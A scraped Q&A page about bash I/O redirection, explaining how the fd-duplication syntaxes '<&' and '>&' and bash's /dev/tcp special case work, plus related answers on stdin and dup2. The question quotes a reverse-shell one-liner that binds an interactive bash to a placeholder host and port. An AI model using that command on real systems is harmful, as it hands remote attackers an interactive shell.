Bash – Understanding I/O redirection in Bash

bashio-redirection

I was searching a way to get a reverse shell in bash, when I found this:

bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1

As I understand, stdout and stderr are sent through the connection(/dev/tcp/HOST/PORT), and stdin reads through the connection(0<&1). But, as I read here, the expression 0>&1 works too. This doesn't make sense for me (as I learned, > is for 'write to the following fd', and < for 'read from the following fd' ) and only should work the first way.

My question is: Did I forget something or I'm absolutely wrong? What are the internal processes involved in this sample of I/O redirection?

Best Answer

The only difference between the <& and >& syntaxes is that the former checks if the target file descriptor is open for input, and the latter checks if it's open for output. The actual operation is the same in both cases (probably a dup2 call). Meanwhile, > /dev/tcp/HOST/PORT isn't doing an open syscall, like most redirections; the /dev/tcp syntax is a bash special case, and in fact bash is opening a socket (which then behaves like a normal file descriptor w.r.t. the read and write calls). Sockets don't have the property that open files have of being opened for only read or only write; a socket allows both reading and writing (though you can shutdown(2) either half of that, if you want). Thus, bash doesn't redirection-error either of the two syntaxes used, and since the dup2 call is the same, the behavior is identical.

Related Solutions

Shell – stdin ‘hop’ over process

You can redirect the first command's stdin from /dev/null:

anthony@Watt:~$ echo -e 'hello\nworld' | ssh localhost 'cat < /dev/null && cat -n'
     1  hello
     2  world

The lines are numbered, so the 2^nd cat got them.

If not using ssh in there, you'd use a subshell: echo -e 'hello\nworld' | ( cat < /dev/null && cat -n )

Bash – Duplication of file descriptors in redirection

Redirections are implemented via the dup family of system functions. dup is short for duplication and when you do e.g.:

3>&2

you duplicate (dup2 ) filedescritor 2 onto filedescriptor 3, possibly closing filedescriptor 3 if it's already open (which won't do a thing to your parent process, because this happens in a forked off child (if it does not (redirections on shell functions in certain contexts), the shell will make it look as if it did)).

When you do:

1<someFile

it'll open someFile on a new file descriptor (that's what the open syscall normally does) and then it'll dup2 that filedescriptor onto 1.

What the manual says is that if one of the special dev files listed takes the place of someFile, the shell will skip the open-on-a-new-fd step and instead go directly to dup2ing the matching filedescriptor (i.e., 1 for /dev/stdout, etc.) onto the target (filedescriptor on the left side of the redirection).

Best Answer

Related Solutions

Shell – stdin ‘hop’ over process

Bash – Duplication of file descriptors in redirection

Related Question